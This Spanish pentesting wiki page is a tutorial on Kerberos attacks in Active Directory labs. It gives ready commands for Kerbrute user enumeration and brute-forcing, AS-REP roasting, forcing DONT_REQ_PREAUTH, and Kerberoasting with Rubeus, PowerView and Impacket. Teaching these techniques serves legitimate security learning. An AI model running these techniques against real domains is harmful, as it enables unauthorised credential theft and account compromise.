Page cover

⚔️Hacking en Kerberos

En esta página se muestran las principales aplicaciones y técnicas de hacking en el protocolo Kerberos.

Kerbrute

Kerbrute es una herramienta de prueba de penetración de código abierto escrita en GO que se utiliza para realizar ataques de fuerza bruta contra el protocolo Kerberos en entornos de Active Directory. Kerbrute es capaz de probar miles de contraseñas en cuestión de minutos y puede ser una herramienta efectiva para identificar contraseñas débiles o vulnerabilidades en la configuración de Kerberos.

  1. Instalar go:

sudo apt install golang
  1. Cambiar ruta de archivos go:

sudo emacs .zshrc
#Al final del todo añadir:
export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source .zshrc
  1. Instalación y uso

go install github.com/ropnop/kerbrute@latest
kerbrute -h

User Enumeration

Para que funcione esta técnica tenemos que tener nuestra máquina de atacante en la misma red que el Domain Controller. Se puede hacer desde Ajustes de Red > IP

./kerbrute userenum --dc <IP-Domain-Controller> -d <nombre_de_usuario>

Brute Users

kerbrute bruteuser -d corp.local passsword.txt empleado1

AS-REQ Roasting

Conseguir el timestamp en la primera petición de AS Request, o la session key cifrada

Rubeus

Rubeus es una herramienta de prueba de penetración de código abierto para entornos de Active Directory que se utiliza para realizar ataques de Kerberos. Rubeus es similar a otras herramientas de ataque de Kerberos como Mimikatz, pero se enfoca en la extracción y manipulación de tickets de Kerberos.

SI no queremos compilar el binario podríamos usar mi repositorio de AD-Tools, en el que ya se incluyen multitud de binarios precompilados, incluído Rubeus:

AS-REP Roasting

AS-REP Roasting es una técnica de ataque de Kerberos que se utiliza para obtener contraseñas de usuario en entornos de Active Directory que permiten la autenticación sin cifrado.

Con Powerview:

Get-DomainUser -PreauthNotRequired
  • Con esto obtenemos todos los usuarios del dominio que tienen en el UAC el permiso de DONT_REQ_PREAUTH

  • Con solo enviar el nombre de esta persona nos devuelve el ticket granting ticket de esa persona

Con Rubeus:

.\Rubeus.exe asreproast /format:john /outfile:hash.john
  • En la carpeta Debug nos vuelca el hash en un formato para que john lo crackee

Si no encontramos usuarios que el permiso DONT_REQ_PREAUTH:

  • Puede tener la DACL de “Escribir todas las propiedades” en la parte de seguridad (Generic-Write)

  • Activar flag de DONT_REQ_PREAUTH con PowerView:

  • Set-DomainObject -Identity arlinda.kirstin -XOR @{useraccountcontrol=4194304} -Verbose

Desde Kali Linux:

  • Meter Kali en la red del DC en ajustes de red > IP

  • Snifar tráfico kerberos con Wireshark

kerbrute userenum -d corp.local users.txt
  • En WireShark ver la AS-REP, copiar el valor raw, llevar a Kali y crackear

Con Impacket en Kali:

impacket-GetNPUsers corp.local/ -users users.txt -format john -outputfile asrep.hash
  • Si sabemos el usuario y su contraseña:

impacket-GetNPUsers corp.local/empleado3:Passw0rd3 -format john -outputfile asrepimp.hash

Kerberoasting (TGS-REP Roasting)

Es la interacción con el Ticket Granting Service, para obtener tickets de servicio para los servicios creados por los usuarios para obtener y crackear su clave.

Kerberoasting (TGS-REP Roasting)

Ver servicios en una máquina:

Con Powerview:

Windows de empleado
Get-NetComputer -Identity WS03
  • Ver service principal name

Crear un usuario de Servicio en el DC:

  • MailSrvc (Por ejemplo para servicio de correo)

Asociar a este usuario un host por powershell:

setspn -S MailSrvc/MS01.corp.local MailSrvc

Identificar todos los usuarios del dominio que estén ofreciendo un servicio

Con PowerView:

Windows de empleado
Get-NetUser -SPN
Get-NetUser -SPN | select name, serviceprincipalname

Explotar Kerberoasting con Rubeus

Windows de empleado
. .\Rubeus.exe kerberoast
  • Copiar el hash y cracker offline con John

Explotar Kerberoasting con Impacket en Kali

  • Meter Kali en la red del DC en ajustes de red > IP

impacket-GetUserSPNs corp.local/empleado3:Passw0rd3 -request -outputfile tgsrep.hash

Forzar un DACL de Kerberoasting

En PowerView:

Set-DomainObject -Identity kyla.rey -Set @{serviceprincipalname='putoamo/tusiquevales'} -verbose

En las siguientes secciones veremos otras técnicas de Kerberoasting desde hosts Linux y Windows

Última actualización

¿Te fue útil?